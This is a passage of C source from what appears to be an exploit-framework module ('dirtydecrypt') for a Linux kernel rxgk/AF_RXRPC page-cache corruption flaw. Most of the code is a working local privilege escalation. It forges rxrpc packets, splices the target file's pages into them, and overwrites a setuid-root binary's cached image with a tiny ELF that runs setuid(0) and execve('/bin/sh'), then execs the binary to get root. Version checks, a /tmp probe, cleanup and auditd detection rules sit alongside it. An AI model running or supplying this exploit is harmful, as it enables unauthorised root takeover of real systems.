xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||
xdr_put64(&tp, 0); /* bytelife */
|
||||
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||
|
||||
size_t toklen = (size_t)(tp - tok);
|
||||
xdr_put32(&p, (uint32_t)toklen);
|
||||
memcpy(p, tok, toklen);
|
||||
p += toklen;
|
||||
|
||||
if ((size_t)(p - out) > maxlen) return -1;
|
||||
return (int)(p - out);
|
||||
}
|
||||
|
||||
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
uint8_t buf[1024];
|
||||
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||
if (n < 0) return -1;
|
||||
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||
}
|
||||
|
||||
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||
{
|
||||
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (fd < 0) return -1;
|
||||
|
||||
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||
keyname, strlen(keyname)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||
&min_level, sizeof(min_level)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
|
||||
struct sockaddr_rxrpc srx = {0};
|
||||
srx.srx_family = AF_RXRPC;
|
||||
srx.srx_service = 0;
|
||||
srx.transport_type = SOCK_DGRAM;
|
||||
srx.transport_len = sizeof(struct sockaddr_in);
|
||||
srx.transport.sin.sin_family = AF_INET;
|
||||
srx.transport.sin.sin_port = htons(local_port);
|
||||
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||
|
||||
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||
{
|
||||
char data[] = "TESTDATA";
|
||||
struct sockaddr_rxrpc srx = {0};
|
||||
srx.srx_family = AF_RXRPC;
|
||||
srx.srx_service = service_id;
|
||||
srx.transport_type = SOCK_DGRAM;
|
||||
srx.transport_len = sizeof(struct sockaddr_in);
|
||||
srx.transport.sin.sin_family = AF_INET;
|
||||
srx.transport.sin.sin_port = htons(srv_port);
|
||||
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||
|
||||
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_name = &srx;
|
||||
msg.msg_namelen = sizeof(srx);
|
||||
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
msg.msg_control = cmsg_buf;
|
||||
msg.msg_controllen = sizeof(cmsg_buf);
|
||||
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||
cmsg->cmsg_level = SOL_RXRPC;
|
||||
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||
|
||||
int fl = fcntl(cli_fd, F_GETFL);
|
||||
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||
fcntl(cli_fd, F_SETFL, fl);
|
||||
|
||||
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int setup_udp_server(uint16_t port)
|
||||
{
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s < 0) return -1;
|
||||
struct sockaddr_in sa = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = htonl(0x7F000001),
|
||||
};
|
||||
int one = 1;
|
||||
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||
close(s); return -1;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||
struct sockaddr_in *from, int timeout_ms)
|
||||
{
|
||||
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||
socklen_t fl = from ? sizeof(*from) : 0;
|
||||
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||
}
|
||||
|
||||
static int dd_trigger_seq = 0;
|
||||
|
||||
/*
|
||||
* Fire one splice-based page-cache corruption at the given file offset.
|
||||
* Returns 1 on fire, -1 on setup error.
|
||||
*/
|
||||
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||
const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
char keyname[32];
|
||||
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
|
||||
|
||||
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||
if (key < 0) return -1;
|
||||
|
||||
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||
uint16_t port_C = port_S + 1;
|
||||
int ret = -1;
|
||||
|
||||
int udp_srv = setup_udp_server(port_S);
|
||||
if (udp_srv < 0) goto out_key;
|
||||
|
||||
int cli = setup_rxrpc_client(port_C, keyname);
|
||||
if (cli < 0) goto out_udp;
|
||||
|
||||
if (initiate_call(cli, port_S, 1234) < 0)
|
||||
goto out_cli;
|
||||
|
||||
uint8_t pkt[2048];
|
||||
struct sockaddr_in cli_addr;
|
||||
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||
|
||||
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||
uint32_t epoch = ntohl(hdr->epoch);
|
||||
uint32_t cid = ntohl(hdr->cid);
|
||||
uint32_t callN = ntohl(hdr->callNumber);
|
||||
uint16_t svc = ntohs(hdr->serviceId);
|
||||
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||
|
||||
/* send challenge */
|
||||
{
|
||||
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||
memset(ch, 0, sizeof(ch));
|
||||
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||
c->epoch = htonl(epoch);
|
||||
c->cid = htonl(cid);
|
||||
c->serial = htonl(0x10000);
|
||||
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||
c->serviceId = htons(svc);
|
||||
for (int i = 0; i < 20; i++)
|
||||
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||
.sin_port = htons(cport),
|
||||
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||
(struct sockaddr *)&to, sizeof(to));
|
||||
}
|
||||
|
||||
/* drain response(s) */
|
||||
for (int i = 0; i < 3; i++) {
|
||||
struct sockaddr_in src;
|
||||
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||
}
|
||||
|
||||
/* forge DATA packet: wire header from userspace, payload from page cache */
|
||||
struct rxrpc_wire_header mal = {0};
|
||||
mal.epoch = htonl(epoch);
|
||||
mal.cid = htonl(cid);
|
||||
mal.callNumber = htonl(callN);
|
||||
mal.seq = htonl(1);
|
||||
mal.serial = htonl(0x42000);
|
||||
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||
mal.flags = RXRPC_LAST_PACKET;
|
||||
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||
mal.serviceId = htons(svc);
|
||||
|
||||
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||
.sin_port = htons(cport),
|
||||
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||
goto out_cli;
|
||||
|
||||
int p[2];
|
||||
if (pipe(p) < 0) goto out_cli;
|
||||
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
loff_t off = splice_off;
|
||||
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
close(p[0]); close(p[1]);
|
||||
|
||||
usleep(1000);
|
||||
|
||||
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||
int fl = fcntl(cli, F_GETFL);
|
||||
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||
for (int i = 0; i < 2; i++) {
|
||||
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||
struct msghdr m = {0};
|
||||
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||
recvmsg(cli, &m, 0);
|
||||
}
|
||||
ret = 1;
|
||||
|
||||
out_cli:
|
||||
close(cli);
|
||||
out_udp:
|
||||
close(udp_srv);
|
||||
out_key:
|
||||
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* --- sliding-window write with progress display --- */
|
||||
|
||||
static void dd_progress(int done, int total, int fires)
|
||||
{
|
||||
if (!dd_verbose) return;
|
||||
int width = 40;
|
||||
int filled = total ? (done * width / total) : 0;
|
||||
int pct = total ? (done * 100 / total) : 0;
|
||||
fprintf(stderr, "\r [");
|
||||
for (int j = 0; j < width; j++)
|
||||
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||
if (done == total) fputc('\n', stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
|
||||
static int pagecache_write(int rfd, void *map, off_t base,
|
||||
const uint8_t *target, int len, off_t file_size,
|
||||
const char *label)
|
||||
{
|
||||
uint8_t key[16];
|
||||
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||
int total = 0;
|
||||
|
||||
int max_off = (int)(file_size - 28);
|
||||
if (base + len - 1 > max_off)
|
||||
len = max_off - (int)base + 1;
|
||||
|
||||
/* Find first byte that differs. We must write everything from there
|
||||
* onward — each round's 15-byte damage zone corrupts the next bytes. */
|
||||
int start = 0;
|
||||
for (int i = 0; i < len; i++) {
|
||||
uint8_t cur;
|
||||
pread(rfd, &cur, 1, base + i);
|
||||
if (cur != target[i]) { start = i; break; }
|
||||
if (i == len - 1) {
|
||||
LOG("page cache already matches, skipping write");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
int need = len - start;
|
||||
|
||||
LOG("writing payload to %s (%d bytes from offset %d)",
|
||||
label, need, (int)base + start);
|
||||
dd_progress(0, need, 0);
|
||||
|
||||
for (int i = start; i < len; i++) {
|
||||
off_t off = base + i;
|
||||
uint8_t want = target[i];
|
||||
uint8_t cur;
|
||||
pread(rfd, &cur, 1, off);
|
||||
|
||||
if (cur == want && i > start)
|
||||
continue;
|
||||
|
||||
int ok = 0;
|
||||
for (int att = 0; att < 10000; att++) {
|
||||
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||
uint64_t r = seed;
|
||||
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||
memcpy(key, &r, 8);
|
||||
memcpy(key + 8, &seed, 8);
|
||||
|
||||
size_t slen = 28;
|
||||
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||
if (slen < 16) slen = 16;
|
||||
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||
total++;
|
||||
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||
ok = 1;
|
||||
dd_progress(i - start + 1, need, total);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ok) {
|
||||
if (dd_verbose) fprintf(stderr, "\n");
|
||||
ERR("byte %d/%d failed", i - start + 1, need);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
LOG("%d fires total", total);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||
* Reproduced verbatim from the V12 PoC. */
|
||||
static const uint8_t tiny_elf[] = {
|
||||
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
|
||||
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
|
||||
};
|
||||
|
||||
/* Pick the first readable setuid-root binary from the candidate list. */
|
||||
static const char *dd_pick_target(void)
|
||||
{
|
||||
for (int i = 0; dd_targets[i]; i++) {
|
||||
struct stat sb;
|
||||
if (stat(dd_targets[i], &sb) == 0 &&
|
||||
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
||||
access(dd_targets[i], R_OK) == 0)
|
||||
return dd_targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Best-effort page-cache eviction for one path. */
|
||||
static void dd_evict(const char *path)
|
||||
{
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
#ifdef POSIX_FADV_DONTNEED
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
#endif
|
||||
close(fd);
|
||||
}
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
||||
}
|
||||
|
||||
/* ---- detect ------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Active sentinel probe: fire the rxgk primitive against a disposable
|
||||
* /tmp file and check whether the page cache was corrupted. Never
|
||||
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
|
||||
*/
|
||||
static int dd_active_probe(void)
|
||||
{
|
||||
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
|
||||
int fd = mkstemp(probe);
|
||||
if (fd < 0) return -1;
|
||||
uint8_t seed_buf[256];
|
||||
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
|
||||
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
|
||||
close(fd); unlink(probe); return -1;
|
||||
}
|
||||
fsync(fd);
|
||||
close(fd);
|
||||
|
||||
int rfd = open(probe, O_RDONLY);
|
||||
if (rfd < 0) { unlink(probe); return -1; }
|
||||
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
|
||||
|
||||
int result = -1;
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
setup_ns();
|
||||
usleep(10000);
|
||||
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
|
||||
close(s);
|
||||
uint8_t key[16];
|
||||
for (int att = 0; att < 64; att++) {
|
||||
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
|
||||
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
|
||||
continue;
|
||||
/* corruption hits a 16-byte block at the offset */
|
||||
for (int b = 16; b < 32; b++)
|
||||
if (((const uint8_t *)map)[b] != 0xA5)
|
||||
_exit(0); /* vulnerable */
|
||||
}
|
||||
_exit(1); /* primitive did not land */
|
||||
}
|
||||
if (pid > 0) {
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (WIFEXITED(st)) {
|
||||
if (WEXITSTATUS(st) == 0) result = 1;
|
||||
else if (WEXITSTATUS(st) == 1) result = 0;
|
||||
else result = -1; /* AF_RXRPC unavailable / error */
|
||||
}
|
||||
}
|
||||
munmap(map, 4096);
|
||||
close(rfd);
|
||||
unlink(probe);
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
|
||||
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
|
||||
* introduced in the 7.0 development cycle — older mainline branches
|
||||
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
|
||||
* vulnerable code not present>. The fix is upstream commit
|
||||
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
|
||||
sizeof(dirtydecrypt_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Precondition: AF_RXRPC must be reachable for the primitive. */
|
||||
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (s < 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
|
||||
"(%s) — rxgk path not reachable here\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
close(s);
|
||||
|
||||
if (!dd_pick_target()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
|
||||
"binary — exploit has no carrier here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
|
||||
|
||||
if (ctx->active_probe) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
|
||||
"probe (safe; /tmp only)\n");
|
||||
int p = dd_active_probe();
|
||||
if (p == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
|
||||
"CONFIRMED — rxgk in-place decrypt corrupts "
|
||||
"the page cache (kernel %s)\n", v->release);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (p == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] dirtydecrypt: active probe did "
|
||||
"not land — primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently fixed");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
|
||||
"failed; falling back to version verdict\n");
|
||||
}
|
||||
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
|
||||
"(commit a2567217 in Linux 7.0; version-only check — "
|
||||
"use --active to confirm)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
|
||||
"(in 7.0-rc window before commit a2567217; version-only)\n"
|
||||
" Confirm empirically: skeletonkey --scan --active\n",
|
||||
v->release);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit ------------------------------------------------------ */
|
||||
|
||||
/* Runs in a forked child: corrupt the target's page cache, then either
|
||||
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
|
||||
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
|
||||
static void dd_child(const char *target_path, int no_shell)
|
||||
{
|
||||
int rfd = open(target_path, O_RDONLY);
|
||||
if (rfd < 0) { perror("open target"); _exit(2); }
|
||||
struct stat sb;
|
||||
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
|
||||
|
||||
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); _exit(2); }
|
||||
if (pid == 0) {
|
||||
setup_ns();
|
||||
usleep(10000);
|
||||
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
|
||||
close(sock);
|
||||
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
|
||||
sb.st_size, target_path) < 0 ? 2 : 0);
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
munmap(map, 4096);
|
||||
close(rfd);
|
||||
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||
ERR("page-cache corruption failed (status 0x%x)", st);
|
||||
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
|
||||
}
|
||||
|
||||
if (no_shell) {
|
||||
LOG("--no-shell: page cache poisoned, shell not spawned");
|
||||
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
LOG("page cache poisoned; exec %s to claim root", target_path);
|
||||
fflush(NULL);
|
||||
execlp(target_path, target_path, (char *)NULL);
|
||||
perror("execlp target");
|
||||
_exit(2);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *target = dd_pick_target();
|
||||
if (!target) {
|
||||
ERR("no readable setuid-root binary to use as a carrier");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
LOG("target carrier: %s", target);
|
||||
|
||||
/* Record the target so cleanup() knows what to evict. */
|
||||
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
|
||||
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
||||
|
||||
srand(time(NULL) ^ getpid());
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pid == 0)
|
||||
dd_child(target, ctx->no_shell); /* never returns on shell path */
|
||||
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (!WIFEXITED(st))
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
switch (WEXITSTATUS(st)) {
|
||||
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- cleanup ------------------------------------------------------ */
|
||||
|
||||
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
char target[256] = {0};
|
||||
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
|
||||
if (sf >= 0) {
|
||||
ssize_t n = read(sf, target, sizeof(target) - 1);
|
||||
if (n > 0) target[n] = '\0';
|
||||
close(sf);
|
||||
}
|
||||
|
||||
if (target[0]) {
|
||||
LOG("evicting %s from page cache", target);
|
||||
dd_evict(target);
|
||||
unlink("/tmp/skeletonkey-dirtydecrypt.target");
|
||||
} else {
|
||||
LOG("no recorded target; evicting all candidate carriers");
|
||||
for (int i = 0; dd_targets[i]; i++)
|
||||
dd_evict(dd_targets[i]);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
|
||||
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detection rules (embedded) ----------------------------------- */
|
||||
|
||||
static const char dd_auditd[] =
|
||||
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
|
||||
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
|
||||
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
|
||||
"# rxrpc security keys added to the keyring\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
|
||||
"# splice() drives the page-cache pages into the forged DATA packet\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||
